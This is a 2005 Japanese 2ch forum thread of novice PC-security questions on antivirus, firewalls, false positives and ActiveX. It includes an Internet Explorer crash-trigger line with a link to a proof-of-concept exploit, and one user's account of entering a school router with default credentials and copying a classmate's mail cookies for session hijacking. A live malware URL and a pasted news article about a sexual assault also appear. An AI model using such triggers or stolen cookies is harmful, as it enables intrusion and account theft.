Rouge APというのもあるから気をつけて。まあ、これはモバイルマシンを
使ってる人だね。
>>481 バカが
ルーター使ってるんなら135を閉じろよ
パソコン側の135は、誰のも開いているからファイアーウォールが必要なんだろうが
そのアラートメッセージを表示させなきゃいいだけだろうが
486 :
481 :2005/11/24(木) 14:59:28
>>484 ずぶの素人にはそれの設定方がどうもわからなくて…
専門板で聞いても使スルーとかで相手にされなくて…
すんません
>>486 ルーター経由で複数台をLAN構成していないだろうな。
複数台のパソコンをぶら下げているのなら、135を閉じるとネットワークに不具合が出るぞ。
∧_∧
( ´∀`) / ̄ ̄ ̄ ̄ ̄
( ) <
>>482 | | | \_____
(__)___)
脆弱性放置という意味では、ニフティーの件が起きてるだろ。
きさまがドアホだ。市ね。
>>489 そりゃ サーバーとしての話だ ドアホが
あいつらは確認に手間を掛けるのと技術力と両方がないから、
サーバーとしての完全運用を保証出来ないがためにアップデートをやらないだけだ ドアホが
一般ユーザーと同じレベルで考えてるんじゃねーよ
491 :
489 :2005/11/24(木) 15:18:07
ニフティーのバカユーザーの話かよ 勘違いした スマン あいつらなら論外だ
492 :
490 :2005/11/24(木) 15:18:52
ニフティーのバカユーザーの話かよ 勘違いした スマン あいつらなら論外だ
493 :
490 :2005/11/24(木) 15:25:37
ニフティーのバカユーザーの話かよ 勘違いした スマン あいつらなら論外だ
∧_∧
( ´∀`) / ̄ ̄ ̄ ̄ ̄
( ) <
>>490 | | | \_____
(__)___)
>スマン
いえいえ。
497 :
490 :2005/11/24(木) 15:35:25
ニフティーのバカユーザーの話かよ 勘違いした スマン あいつらなら論外だ
荒れてまいりました と思ったら終結した件
( ^3^)≡○#) 3・)∴.;
500 :
486 :2005/11/24(木) 15:45:04
>>487 ウンコレガは説明もサポートも中途半端因みに俺はもっとっすけど…
>>488 PCは今のところ1台っす
ニフティーのバカユーザーは一体いつからWindowsUpdateしていないんだろうね? 全員ぶっ壊されてしまえよ ガハッ
俺はやふーだから安心
( ^3^)≡○#) 3・)∴.;
504 :
シャムネコ :2005/11/24(木) 16:43:48
20GB 128MB などさまざまな仕様がありますがGBかMBどっちが多いほうが 容量が大きいといえるのでしょうか?GB MBの意味がわかりません
MBのほうがいいです
>>504 T>>>G>>>M>>>K
特>大>中> 小
大
こんな感じです
∧_∧
( ´∀`) / ̄ ̄ ̄ ̄ ̄
( ) <
>>500 | | | \_____
(__)___)
えっと、漏れが気になってる点があるんだけど。
Avastにはネットワークシールドがあるよね。
Sygateとは干渉しないんだよね?
とりあえず、Currportsなどで探ってみたら。
あと、ルータやPFWのログチェックだね。
セキュリティの質問ではないかもしれないのですが、同じ会社内のPCから他のPCのモニター画面を閲覧することはできるのでしょうか?この前それっぽいことをやられてるような気がして、すごい不快になりました。可能なことですか?
できますよ
やっぱりできるのですか。それはやはりスパイウェアなのでしょうか? それとも学校の授業でなぜか先生が全生徒のモニターを監視できるのを見たこと あるのですがそれと同じですか? いずれにせよそれを防ぐことはできるのでしょうか?
511 :
500 :2005/11/24(木) 18:54:33
モナー
>>507 さん
ありがとうございます。
試してみます
yahooをトップにしてるんですが、これが偽yahooにすりかえられることあるんですか? 最近流行りのフィッシングなんたらというヤツみたいに
>>510 監視のプログラム消去すればいいんじゃまいか?
514 :
名無しさん@お腹いっぱい。 :2005/11/24(木) 22:12:48
携帯での書き込にもIPなどはあるんでしょうか? 外部の掲示板等に書き込みしたいのですがあんまり携帯の情報を残したくないんです。 管理者に携帯の機種とかわかっちゃうんでしょうか? アドバイスよろしくです。
荒らすのでなければ大抵の場合は問題ないよ。 IP握られて嫌な相手のとこには書き込むな。
517 :
名無しさん@お腹いっぱい。 :2005/11/24(木) 22:18:31
>515 そうなんですか・・・ 2chにも残ってるんですよね? 2chへのカキ込みの場合でも個別情報は誰にでもわかってしまうのですか?
518 :
512 :2005/11/24(木) 22:22:31
お願いします
>>518 お気に入りに入っていれば、まず大丈夫だよ。
昔、ドメイン名で訴訟になったケースがあるけど…。
yafooとかには気をつけねばならないけどね。
520 :
512 :2005/11/24(木) 22:30:47
>>519 お気に入りではなくてインターネットを始めた時最初にくるページです。
普通はURLの横にはファイルの上に青い文字でeと大きく書かれたアイコンがあるはずなんですが
なぜか赤い文字でYと書かれたアイコンが出てたので偽ページかと思ったんです
yafooてyahooとは違うの?
ものすごい釣り考え中?
522 :
512 :2005/11/24(木) 22:38:40
525 :
名無しさん@お腹いっぱい。 :2005/11/24(木) 22:41:59
W32/Antinny.wormというウイルスに感染したのですが、駆除方法が分かりません 教えていただけますか??OSはXPです。
>>524 甘い。
hostファイル書き換えられたら接続先IPが全く別って事もありえる。
528 :
512 :2005/11/24(木) 22:45:24
>>527 手の打ちようはないんでしょーか・・・?
spyware対策ツール使っとけ。
532 :
512 :2005/11/24(木) 22:55:08
>>530 そういうことはスパイウェアが原因なんですか?
スパイウェア検索したら大丈夫だったんですけど。
533 :
名無しさん@お腹いっぱい。 :2005/11/24(木) 22:56:12
ActiveXをインストールしてください。という表示がでました。 ActiveXってなんですか? OSはWindowsXPHEです。
534 :
名無しさん@お腹いっぱい。 :2005/11/24(木) 22:58:45
>>531 釣りじゃないんですけど。。。
どうにかなりませんか?
>>534 そのウィルスの種類
さっき知った
マイクロソフトに感謝状授与とニュースにあったwww
自業自得乙
updateしてないお前が悪いっつかnyするなボケ
537 :
名無しさん@お腹いっぱい。 :2005/11/24(木) 23:07:07
本当にすみません。ActiveXはどこでインストールすれば良いですか?
勝手にインすとしてくれるからきにしなくていい?
>>532 まず、感染してるの?ってのが一つ。
感染して無いなら見つかる訳無いな。
あと、検索ってspybotとかでチェックしたって事だろうけど、
spywareって種類もたくさんあって検出できないものも結構あるのよ。
だから見つからなかったといって安心は出来ないって事。
普段からActivXとJavaを切っておいたりするだけでかなり違うのでとりあえずそうしとけ。
学校の鯖のパスワードが県名なんだがこれって甘いよな?
541 :
512 :2005/11/24(木) 23:20:20
>>539 ウィルスバスター2005で検索したんです・・・
ActivXとJavaって何?
たぶんactivXはサイト見ようとしたら『同意します』とか『インストール』とか表示されたことあるけど・・・
元々yahooのURLの横に表示されてる絵がいつもと違うから変だと思ったんだけど
そんなんで偽かなんてわかるわけないよね・・・
>>542 鯖つっても就職のデータベースとかの鯖なんだが
HPのデータとかが入ってるかどうかはわかんね
明日いじれるけど何かやって面白いことある?
>>544 全部選択するとAAが見えるように、背景色と同じ色で仕込んどけ。
>>545 faviconの意味もわかった!どーやら心配してたことも勘違いのようです。
>>546 おk
うちの学校は免許とったら預けろといってるわけだが
こんなに甘いくせに預けて平気だろうか?
Java じゃなく JavaScript だろ
ダウンロードしたZIPファイルがウィルスかどうか調べる事のできる お勧めのソフトありませんか?
そんなもん体験版をどれでも好きなものを落としてくればいいだろ
>>541 まず、アクティブスクリプトを覚えなさい。
これには、JavaScriptとVBScriptの二種類があります。
これらのスクリプトが動く事によって、ActiveX環境などが動きます。
これはその結果、ActiveXcontrolをインストールしますか?などの画面が表示されます。
つまり、アクティブスクリプトの実行がまずその大前提になっているのです。
しかし、現在ではWindowsUpdateでOSを最新にすることによって、
アクティブスクリプトを実行して脆弱性を利用する事は、困難になっているのが現実です。
これを無効にしてしまうと、マルチメディア環境の使用などが出来なくなってしまいますので、
セキュリティオタ以外は無効にしないほうがいいと思います。
私は、セキュリティパッチで未対応の脆弱性をもしも利用する悪質なスクリプトが出回った時には、
ウィルス対策ソフトが実行を阻止してくれると思っているので無効にはしません。
>>537 ActiveXとは、実行環境技術の事ですからIEに内包していますので、単体でインストール出来ません。
インストール出来るのはActiveXcontrolと言うIE経由で動く単体のプラグインになります。
あぼ〜ん
>>556 その脆弱性はたぶんXPでは実行されないと思う
"<body onload=window();>"
まずこのスクリプトを.htmlで実行してくれ
ブラウザが異常終了するだけだろう?
http://www.computerterrorism.com/research/ie/poc.htm 次に、この脆弱性の実証サンプルを実行して欲しい。
calc.exeは起動しないだろう?
その後に"<body onload=window();>"
このスクリプトを.htmlで実行してくれ
calc.exeが起動しただろう?
だから俺は、バッファオーバーフローが発生しても実行されないと思っている。
∧_∧
( ´∀`)
( )
| | |
(__)___)
>>558 やってみました。はい、そのようになりました。
これはどのように理解すれば?
この脆弱性を悪用しても、Malware側に制御が移らないという
ことでいいのですか。
脆弱性の実証サンプルを実行してから"<body onload=window();>"を実行すると、 exe実行可能って事?
Norton AntiVirus 2006を購入しようと思い、近所の家電量販店に行ってみたのですが Norton AntiVirus 2006 特別優待パッケージのみしか置いてありませんでした。 特別優待パッケージを買っても機能させることができるのでしょうか? また、通常版(?)と特別優待パッケージの違いは何でしょうか? どなたかよろしくお願いします。
>>560 メモリ上に残っているコードの実行は可能って事。
だから、間接的にcalc.exeが実行されるんだと思う。
Temporary Internet Filesにあるキャッシュファイルまで実行可能かどうかまではわからない。
ヤフーのノートンセキュリティーに入っているのですけど 月々500円なのですがこれってやすくないですか? 家電量販店にある3種類のをいれると1万こえませんか? どこか劣化してるサービスでしょうか?
calc.exeが起動されないんだが
あ、素のIEだと起動された IEエンジンのブラウザだと問題ないみたいだ 危険性低いじゃん
>>565 OSはXP?
何かポップアップのブロックソフトは使っていませんか?
IEエンジン使うブラウザを使う人って割合的にはそんなに多くないよ。 大部分が素IE使ってるレベルの人だってのを忘れてる。 お前さんにとっては危険性低いってだけだな。
俺は日本語環境だからなのかもしれないが、この公開スクリプトに間違いがないのなら、 日本語環境ではバッファオーバーフローが起こらないんじゃないかと思う。 だから、CPU使用率が100%のままフリーズ状態になる。
ヤフーのノートンセキュリティーに入っているのですけど 月々500円なのですがこれってやすくないですか? 家電量販店にある3種類のをいれると1万こえませんか? どこか劣化してるサービスでしょうか?
>>571 見てみたけど月500円だと年5000円でちょっと割安って感じだし別にいいんでないかな。
劣化はしてないみたいだし、初心者向けにはいいかもね。
ただ、こなれてくるともっと軽快さとか検出力等を求めて違うのに目移りすると思うので、
あくまで通過点ぐらいに考えておいた方がよさげ。
6000円のミスw
∧_∧
( ´∀`)
( )
| | |
(__)___)
>>570 どうもありがとう御座います。
( ^3^)≡○#) 3・)∴.;
日本語環境なら2バイト耐性あるってこと?
★脳神経外科医の暴発、病院オナニー…見られて興奮 妻はマスコミも注目のカリスマ美容皮膚科医
・東京・南麻布の億ションにはメードが2人、美人妻はマスコミも注目のカリスマ開業医−。
自分も元脳神経外科部長という“勝ち組男”が、病院自室で製薬会社の女性社員に自慰
行為を見られたことに興奮し、女性の下半身に襲いかかった。
「部屋で1人、パソコンでワイセツ画像を見ていたら女性が入ってきたので、我慢できなくなった」
東京臨海病院で8月8日、製薬会社の女性社員(26)にわいせつな行為をしたとして逮捕された
のは、同病院の元脳神経外科部長の男(47)。
女性社員はMR(医薬情報担当者)として同病院に出入りしており、面識があった。
事件当日、女性社員は午後2時20分ごろに医療情報を渡しに来たが、男は「3時過ぎに自分の
部屋に来るように」と伝えた。ノックしたが無反応だったため、ドアを開けて中の様子を伺うと、
パソコン画面を前に下半身を露出した男が目に入った。
男はエロ画像をオカズにオナニーにふけっていた。熱中のあまり約束も忘れ、「イヤホンを
していたため、ノックが聞こえなかった」という。
欲情のピークにあった男は、女性社員を見るや抱きついて、「ごめんね」と言いながらスカートの
中に手を入れ、下半身をまさぐること約15分間。「このことは絶対に秘密ね」と口止めしたが、
女性社員が婚約者に相談して事件が発覚した。
名声は、大橋病院で知り合い結婚した妻のほうが数段上だった。美肌のスペシャリストとして
マスコミにも登場する美容皮膚科医。平成15年には渋谷区内で開業し、男は「奥さんサマサマ。
奥さんの病院で働くので部長を辞めたようだ」(病院関係者)。
東京・南麻布の自宅は前庭に噴水が上がり、コンシェルジュが常駐する平均価格2億円台の
超高級マンション。最上階には12億7000万円の物件もある。
「6歳のお子さんはインターナショナルスクールに通わせている。共働きなのでフィリピン人の
ベビーシッター2人が面倒を見ているようだ」(マンション関係者)
男は過去にも援助交際で捕まったというニガーイ過去を持つ。(一部略)
http://www.zakzak.co.jp/top/2005_11/t2005112528.html
579 :
名無しさん@お腹いっぱい。 :2005/11/25(金) 22:14:34 BE:438547687-
はじめまして。セキュリティーはほとんどわからないのですが、 この間初めてノートPCを買いました。 でもウィルスとかが恐くてネットにつなげてません。 最近のPCの場合、ウィルスソフトを入れなくてもいいのでしょうか? ファイアウォールが有効とか書いてあるんですけど、セキュリティーがどんなものか が感覚がつかめません。 ファイアウォールとセキュリティーソフトは違うのですか? 教えてください。
>>579 ファイアーウォールソフトは、セキュリティソフトの一種。
不正アクセスをふせぐモノだと思うよろし。
ファイアーウォールソフトでは、ウィルスは基本的に防げないから
ウィルス対策は別に行わないとダメ。ウィルス対策ソフトはちゃんと導入してね。
BEの登録日が2005年7月24日ですけど??
>>546 残念ながらいじれる機会がおとずれなかったorz
しかしルーターのパスがわかった
ID:root pw:なし
・・・どれくらい甘いのだろうか?
>>558 そういうサンプルはどこからもってきているのか
小一時間で俺に教えてくれ
>>585 そのとおりディフォルトだったorz
気に入らないやつのipを拒否するように設定してきた件
あととなりのパソコンからyahooメールにログインしてるようだったから
クッキーをフロッピーにコピーしてきた
これでなにか面白いことできる?
一応言っておくが、不正アクセスだからな。 前科持ちになりたくなかったら程ほどにしとけ。
>>587 一応言っておくが先生にしっかり報告はしたからな
・・・
免許なんて預けられねえよバーローw
589 :
579 :2005/11/25(金) 23:29:01 BE:117468735-
今は前からあるPCつかってます。 こっちも全くと言っていいほどセキュリティーはないんです。 ファイアウォールもないだろうし。 セキュリティーソフトってお金がかかるんですか? 前に体験番みたいなのを入れたのですが、それはもう期限が切れてるらしいんです。 ヤフーBBなのでプロバイダのセキュリティーに入ろうかとも思うんですけど、 PCとの相性とかもありそうで迷ってます。 月額500円くらいのヤフーのセキュリティーに入るのって有効ですか?
>>589 こまめにupdateしてフリーのファイヤーウォール入れればいいんじゃまいか?
>>589 サポートいらんならavastとZoneAlarm入れとけ
592 :
561 :2005/11/25(金) 23:36:58
>>561 どなたかわかる方いらっしゃいませんか?
それとも専用スレで聞いたほうがよい質問なんでしょうか?
>>561 店員に聞かないお前が悪い
当然のように通常版おいてある
yahooIDのパスワードを書き換えまくるウイルスってありますか? パス問い合わせても、直後に変更されてメールが開けない…
>>594 ありません
簡単なパスワードにしているから、誰かにクラックされただけ
596 :
561 :2005/11/26(土) 00:12:57
>>593 おっしゃるとおりですね^^;
お店に行って、店員さんに聞いてみることにします。
597 :
594 :2005/11/26(土) 00:14:27
ごめんなさい自己解決しました パスって大文字小文字識別するですね…自分がアホでしたorz
うわーーーーーーーーーーーー」
599 :
579 :2005/11/26(土) 02:21:13 BE:187949546-
601 :
名無しさん@お腹いっぱい。 :2005/11/26(土) 02:58:11
ネットしてて、「このページにはこのセキュリティ設定で許可していないコンテンツが含まれています(うろ覚え)」みたいなダイアログが出るのって何でですか?同じページ見てても出ない時もあるし。
危険な物を実行しようとしてるから 環境によって何がブロックさてるかは知らん。
2chの某スレッドなのですが、見に行くたびノートンの警告が出ます。 「VBS.Internal」というやつで、「ファイルは自動的に削除されました」 と出るのですが、一体なんのファイルが削除されてるんでしょう?? なぜ見に行っただけでこうなるのでしょうか? スレそのものに、ウイルス??がいるってこと?? おしえてください。。
情報処理試験の情報セキュリティアドミニストレーターやテクニカルエンジニアに関するスレはありませんか?
>>603 ウイルスのソースが貼られてるんじゃまいか?
607 :
名無しさん@お腹いっぱい。 :2005/11/26(土) 11:08:01
俺さ、セキュリティ担当になったんだ。会社で。あー、資格も取らなきゃ。 でね、とりあえず情報探れっていわれているんだ。 そこで質問段だけど、すばやく情報が掲示されるサイトってどこだろ? この際だから、日本に限らず全世界どこでもいいんだけど。 いつも見ているってところを教えてくれない?
なんでこいつをセキュリティ担当にしたんだろ
ノートンで割と頻繁に「Socket de Trois v1」とかいうのが アクセス遮断されるのですが、これは正常ですか? それともノートンの過剰反応なのでしょうか?
610 :
名無しさん@お腹いっぱい。 :2005/11/26(土) 12:40:16
JAVA_BYTEVER.C JAVA_BYTEVER.A HTML_COOLWEB.A この3つはどうやって駆除できるんですか?
611 :
名無しさん@お腹いっぱい。 :2005/11/26(土) 13:26:15
普段avast!4.6を使っていて、ウイルスチェックで何も検出されないのに symantecのオンラインスキャンだと検出されます。 どういう事なんでしょうか?
>611
2chのログだべ
狙われやすい脆弱性トップ20 - 攻撃のターゲットはOS以外に
http://headlines.yahoo.co.jp/hl?a=20051125-00000093-myc-sci >クロスプラットフォーム・アプリケーションで最初にリストされているのは「バックアップ・ソフト」である。
>重要なデータを扱ったり、ネットワークに幅広くアクセスしているケースが多いため狙われやすい。
>次が「ウイルス対策ソフト」。PCのメモリーなど重要なパーツにアクセスする上、バックグラウンドで動作するため利用しやすい。
>またユーザー数が多いのも攻撃者にとっては魅力となっている。
・クロスプラットフォーム・アプリケーション
C1: バックアップ・ソフト
C2: ウイルス対策ソフト
C3: PHPベースのアプリケーション
C4: データベース・ソフト
C5: ファイル共有アプリケーション
C6: DNSソフト
C7: メディアプレイヤー
C8: インスタント・メッセージング・ソフト
C9: MozillaおよびFirefoxブラウザ
C10: その他のクロスプラットフォーム・アプリケーション
どないせいっちゅうんじゃ
613 :
名無しさん@お腹いっぱい。 :2005/11/26(土) 14:51:51
>611 そういわずに教えてくれよ。 小さい会社で俺しかいないんだよ。2chのことを知っているの。 ウェブサーバやられて、大変だったんだよ。まあ、F/Wも無かったんだから当然だけど。 教えてくれたらまじめに読むし、勉強もする。 とりあえず知りたいのは最新情報だけなんだ。それがどういう意味だとか までは聞かないからさ。 だからな、教えてくれよ。
avastとノートン比べたら明らかにノートンの検知力 高いのにきまってるだろw 馬鹿か? ノートンは検知力は高いが重くて料金も高い avastは検知力まぁまぁ無料アンチウィルスの中では重くもなく軽くも無い
ほぅ?
ならばノートンに匹敵する検地力で、かつ軽くて料金の安いソフトはないものか。 答えは、ある。 総合ソフトならカスペルスキー、アンチウイルス特化ならNOD32が検地力が高い しかもNOD32の軽さはavastを超えてる。おすすめ。
日本だとなぜノートンウィルスバスタートレンドマイクロ これが有名すぎるの?
「VBS/LoveLetter@MM ってウィルスを駆除しました」 って出たんですが、感染原因がわかりません。 ちなみに、2chを見ているときに検出されました。 感染経路を教えてください。
620 :
名無しさん@お腹いっぱい。 :2005/11/26(土) 17:17:09
先ほど実況で亀田スレにいたんですがスレ開く度にウィルス反応ばかりでます。 こちらはファイル修復しましたと表示されてます それと別のスレでも反応がありました。 こちらはファイル修復できませんといわれました。 IEで見ていてノートンアンチウィルスというソフトを使ってるんですが。 気にしなくていいんでしょーか?
学校の鯖にAAぶち込んできた だれか気づいてくれるな〜?
おまえ退学
623 :
620 :2005/11/26(土) 18:02:41
検索したところBloodhound.exploit.6というウィルスらしいです。 修復できないらしくて検疫がしろと出ています。 どー対処すればよいのでしょーか?
誤作動だからほっとけばいい しんぱいならアインスコしろ おれなんて誤作動しまくりのスレみてるけど問題ないぞ
>>621 you、その鯖を晒しちゃいなよ。Vipperに
626 :
620 :2005/11/26(土) 18:13:01
あいんすとーる
628 :
620 :2005/11/26(土) 18:19:46
ようするに誤作動だからノートンを新しく入れなおせってこと?
ノートンアインスコしてどうする 不安ならosいれなおせってこと
630 :
620 :2005/11/26(土) 18:31:10
OSの意味がよく…まっググってみる。 時間かかってもやばいことにはならないよね?
えぇ!? >OSの意味がよく…まっググってみる。
>>620 ぐぐらんでいいから
リカバリーCDいれられ
それで解決するから
>>625 残念ながら学内LANです
本当にありがとうございました
次はサーバー室に忍びこむおw
635 :
620 :2005/11/26(土) 18:48:39
>>635 お前が気にしないならリカバリの必要も無いんだが・・・。
これからも同じような事が何度もおきると思うがその度にリカバリすんのか?
637 :
620 :2005/11/26(土) 18:58:23
え?実害ないの? ググるとお気に入りに変なアドレスがあったとか書いてたんだけど…
638 :
611 :2005/11/26(土) 19:00:14
ノートンオンラインで検出されたウイルス。 問題ないですかね? O:\WIN2K-files\SPetc\apl\pspv\pspv.exe is infected with Hacktool.PassReminder O:\WIN2K-files\SPetc\apl\gikoNavi\Log\2ch\stock\1113933879.dat is infected with Unix.Penguin O:\WIN2K-files\SPetc\apl\gikoNavi\Log\2ch\sec\1109831018.dat is infected with MHTMLRedir.Exploit O:\WIN2K-files\SPetc\apl\gikoNavi\Log\2ch\sec\1116103118.dat is infected with VBS.Network.E O:\WIN2K-files\SPetc\apl\gikoNavi\Log\2ch\sec\1117346454.dat is infected with VBS.Internal O:\WIN2K-files\SPetc\apl\gikoNavi\Log\2ch\news\1116770161.dat is infected with Unix.Penguin O:\WIN2K-files\SPetc\apl\gikoNavi\Log\2ch\entrance\Folder.idx is infected with Bloodhound.Exploit.6 O:\WIN2K-files\SPetc\apl\gikoNavi\Log\2ch\entrance\subject.txt is infected with Bloodhound.Exploit.6 O:\WIN2K-files\SPetc\apl\gikoNavi\Log\2ch\download\Folder.idx is infected with Unix.Penguin O:\WIN2K-files\SPetc\apl\gikoNavi\Log\2ch\download\subject.txt is infected with Unix.Penguin
>>620 おまえはあふぉか?
誤作動だからほっとけばいい
しんぱいならアインスコしろ ←よく読め
おれなんて誤作動しまくりのスレみてるけど問題ないぞ
書いてやったのみたか?
【機種】Windows XP 【セキュリティーソフト】ノートン 電源入れるとログイン画面に入る前に勝手に再起動(初めの画面に戻る) の無限ループに陥ります。 その1つの部屋のみログインできず(多分そこの親機が壊れてるようです) 他の部屋では普通に動くのですが…。 ログインできず色々確認し難いので困ってます。
>>637 >ググるとお気に入りに変なアドレスがあったとか書いてたんだけど…
お前のには無いんだろ。
642 :
620 :2005/11/26(土) 19:04:55
643 :
620 :2005/11/26(土) 19:06:47
>>641 はい。つい何か悪さされるのかと思ってしまって。
ご迷惑かけました
>>620 勉強になったねw
低脳から普通に早くなりなさい
>>644 あんまりそんな事言うなよ、最初は誰でもビビルんだから
>638 \gikoNavi\Log\2ch\stock\**********.dat is infected with Unix.Penguin だからやっぱりギコのログ 信じられなければログ削除 (四万テクのオンラインスキャンはzip見ないから圧縮に一時避難でも可) でもう一度やってみ
>>640 とりあえずセーフモードで起動して、ノートン無効にしなされ。
その後余計な常駐アプリやサービス(詳しくはぐぐれ)を片っ端からOFFにしてもう一度ノートン起動。
それでもダメならOS入れなおせ。
すいません。 エロ掲示板で、ZIPファイルをDLして、念のためにノートンインターネットセキュリティーで ウイルスチェックをしたところ、 「ブートレコードが変わっています。ウイルス感染の可能性があります。」と出てしまいました。 まだ解凍する前なのに、ZIPファイルでウイルス感染することってあるのでしょうか? 宜しく、御願い致します。
普通に読めば「(ファイルに)感染の可能性が」だと思うが
651 :
648 :2005/11/27(日) 00:40:51
>>649 ありがとうございます。
その後、関係ないファイルをチェックしても、
「ブートレコードが変わりました。未知のウイルスがシステムに感染した可能性があります」
とい警告が出るようになってしまいました。
解凍前のZIPで感染することは有り得るのでしょうか?
ZIPは、解凍しない限り大丈夫という私の認識は甘かったということでしょうか?
652 :
649 :2005/11/27(日) 00:43:33
上のレスのあて先間違えてしまいました。すいません。
653 :
名無しさん@お腹いっぱい。 :2005/11/27(日) 00:45:13
間違えた・・・>654は忘れてね バックアップがあるならOS再インストがベスト その前にとにかく関連キーワードでググりまくる
誰か俺のパソコンに侵入して
657 :
名無しさん@お腹いっぱい。 :2005/11/27(日) 01:43:24
電源入れて、ネットに接続しようとすると、英字の画面になり、勝手に再起動します。その後、「システムは深刻なエラーから回復しました」の文字が出て、その後は普通に接続できます。でも電源切ってまた入れると同じ事の繰り返し。なんなんでしょうか?
どっかぶっこわれてるから システムを復旧させなさい
659 :
657 :2005/11/27(日) 01:51:28
>>658 レスありがとうございます。システム復旧ってリカバリ?
スキャンディスク アクセサリーにあるよ
それと一応ウィルスチェックして それでもだめなら理科張りーしてみて
662 :
657 :2005/11/27(日) 02:00:31
今メールをチェックしたら、こんなメールが400通位着てました。
借りているVPSのPostfixからのUndelivered Mailなんですが、これはなんでしょうか?
hanmail.netとかいうところを利用しているspamなんでしょうが、なんでrelayできない
はずなのに大量に送ってくるのか…
調べる方法とかアドバイスなどいただけますでしょうか?
<
[email protected] >: host mx5.example.net[xxx.xxx.xxx.xx] said: 553 5.5.4 Host
name(mymailhost.example.com) is not match with your ip(xxx.xxx.xxx.xxx), maybe it's
bogus.
665 :
名無しさん@お腹いっぱい。 :2005/11/27(日) 10:49:41
現在ノートンが入っているんですが, そこにフリーのウイルスソフトを入れても問題ないでしょうか? それともノートン単独で問題ないでしょうか?
>>665 ノートンの何が入っているの?
アンチウィルスソフトで、最新の状態なら、常駐しているから
他のリアルタイム監視するフリーのアンチウィルスソフト(avast!やAVG)は入れないほうがいい。
入れている人もいるけどな。お奨めしない。
667 :
名無しさん@お腹いっぱい。 :2005/11/27(日) 11:07:42
>>666 ノートンアンチウイルス2005です
668 :
名無しさん@お腹いっぱい。 :2005/11/27(日) 11:20:41
ZAのアップデートの通知が来て、アップデートしようとしたがエラー表示がでてできませんでした。 そのためZAをアンインストールして再びインストールしようとしたが、エラー表示がでてできません。 OSはXP SP2です。 アンチウイルスにアバスト入れてます。 アバスト入れたときにZAがどうのこうのみたいな表示があったのでそれが引っかかります。 どなたかわかる方、回答お願いいたします。
アンチウィルスソフトやファイヤーウォールソフトそれぞれで 有料版と無料版がありますが、有料版の場合、当然更新料が発生するとと思いますが 有料でも一度支払えば後はずっと無料なんてソフトはないのでしょうか? アンチウィルスソフトやファイヤーウォールソフトそれぞれで教えて下さい。
つ【それで商売が成立すると思うか?】
∧_∧
( ´∀`) / ̄ ̄ ̄ ̄ ̄
( ) <
>>670 | | | \_____
(__)___)
お金を貰わないと商売にならないし、支払わなければ、相応の
対価を要求できないのでは。
>>671 > つ【それで商売が成立すると思うか?】
>>672 > お金を貰わないと商売にならないし、支払わなければ、相応の
確かにそうなんですけど、フリーで更新出来ているのも事実でしょ。
有償版と無料版の中間に位置するソフトがあるかな?と思いまして聞きました。
フリーよりは儲かるじゃないですか?
無いなら仕方ないですね。コメント有難う御座いました。
さぽーとあるかないかだろがぼけ
フリーは金の為じゃなく情報収集とCMとユーザー層を他から奪う為だと何度言えば・・・
>>670 セキュリティにかかる費用を少しでも押さえたいと思うのは当然だよね
アンチウイルスはともかく、ファイアウォールはバグが無ければ
特にアップデートする必要は無いと思うけど
更新しなければいけないようなデータも無いと思うし
アンチウイルスは無料ソフトを使ったら?
avastかAVGなら初心者でも使えるでしょ
解説サイトもいくつかあるし
両方とも有料版とほとんどかわらないと思う
678 :
名無しさん@お腹いっぱい。 :2005/11/27(日) 22:52:48
お客さんを相手とした自営業をやっています。今度サービスの一環として、 無線LANサービスを提供したいと考えています。かといってうちの規模では ホットポイントなどの大掛かりな施設は、応じてもらえないか、費用倒れに なる恐れがあります。そこで、自分のところで使っています無線LANサービ ス(ルーターX400V、Bフレッツ)を不特定多数のお客さんに提供すること を考えています。具体的には、事前共有キー情報、SSID情報などを提供し てお客さん自体に設定してもらって。しかしこれですと、当方のパソコン の内容を覗かれるのではないか、というセキュリティ上の不安がありまし た。NTTに問い合わせたところ、暗号化するのでまず大丈夫といわれまし た。ウィルスバスターに問い合わせたところ、第三者の利用を止めること はできるが、利用を認めたうえで侵入だけをブロックする設定はできない といわれました。わたしの計画はセキュリティ上問題はないのでしょうか?
>>678 ここに質問してる状態なのに
サービスを提供しようとするのが間違いだと思われます
てか釣り?
だとおもいます
資格要らなかったっけ?
682 :
678 :2005/11/28(月) 00:02:32
無料サービスなんですけど 営利目的でなければ通信事業者にならないのでは?
無知のくせにいくら無料でも 怖いからいらない
>>682 無料サービスでも引っかかるような希ガス
685 :
名無しさん@お腹いっぱい。 :2005/11/28(月) 00:30:49
はじめまして。質問です。
先ほど、
http://virus.org.ua/unix/woid.jpg (ウイルス注意)
にIEでアクセスしたところTorojan Horse に感染しました。
NortonAntiVirus2005は「修復できませんでした」「アクセスできません」と反応、全く役に立たず。
なんとかPC再起動、セーフモードでシステム全スキャンし、何も出てきませんでした。
一応IEのキャッシュは削除し、いまは特に問題ない様子です。
ほんとに大丈夫でしょうか?
OS:WindowsXP SP2
686 :
名無しさん@お腹いっぱい。 :2005/11/28(月) 00:46:33
>>678 無線LANも有線と同じですよ。
みんなHUBにつながった状態になるだけです。
>第三者の利用を止めること はできるが、利用を認めたうえで
>侵入だけをブロックする設定はできない
社内PCも無線LANに「どうしても」接続したいならFireWallの設定をインバウンドAllDropにするんでしょうね。
(外からは見えない状態)ファイル共有等はできません。
688 :
名無しさん@お腹いっぱい。 :2005/11/28(月) 01:15:48
>687 ありがとう、今からやってみます。
>>685 httpくらい消しとけよ!間違ってクリックする人がいるかも
690 :
名無しさん@お腹いっぱい。 :2005/11/28(月) 01:48:38
691 :
名無しさん@お腹いっぱい。 :2005/11/28(月) 01:50:33
↑ttpも消せばよかったみたいですね。ごめんなさい
692 :
685 :2005/11/28(月) 02:18:41
>685です。 ローカルスキャン、オンラインスキャンともに問題なしでした。 あと、間違ってクリックしてしまった人がいたらごめんなさい。 Torojan Horse はインターネットにアクセスして個人情報を送信するウイルスのようですが、 その個人情報はどこから見つけ出すのでしょう? データドライブに保存してあるパスワード一覧をまとめたtxtファイルまで見つけ出すことは可能ですか?
693 :
名無しさん@お腹いっぱい。 :2005/11/28(月) 02:26:35
ウイルス対策ソフトがウイルスに似た「ゴミ」に過剰反応しただけ。 ディスクをフルスキャンして何も検出されなければ、問題なし。 Torojan Horse というのは汎用ウイルス名なので動作は分かりませんが、 上記のように単なるゴミでしょう。固有名詞を持つちゃんとした(?)ウイルスなら、ディスクをスキャンして xxx@yyy のような電子メールっぽいアドレスに自身を添付、送信する位はできます。
うんじゃポケモン上げて寝るわノシ
697 :
名無しさん@お腹いっぱい。 :2005/11/28(月) 04:57:27
698 :
名無しさん@お腹いっぱい。 :2005/11/28(月) 13:30:23
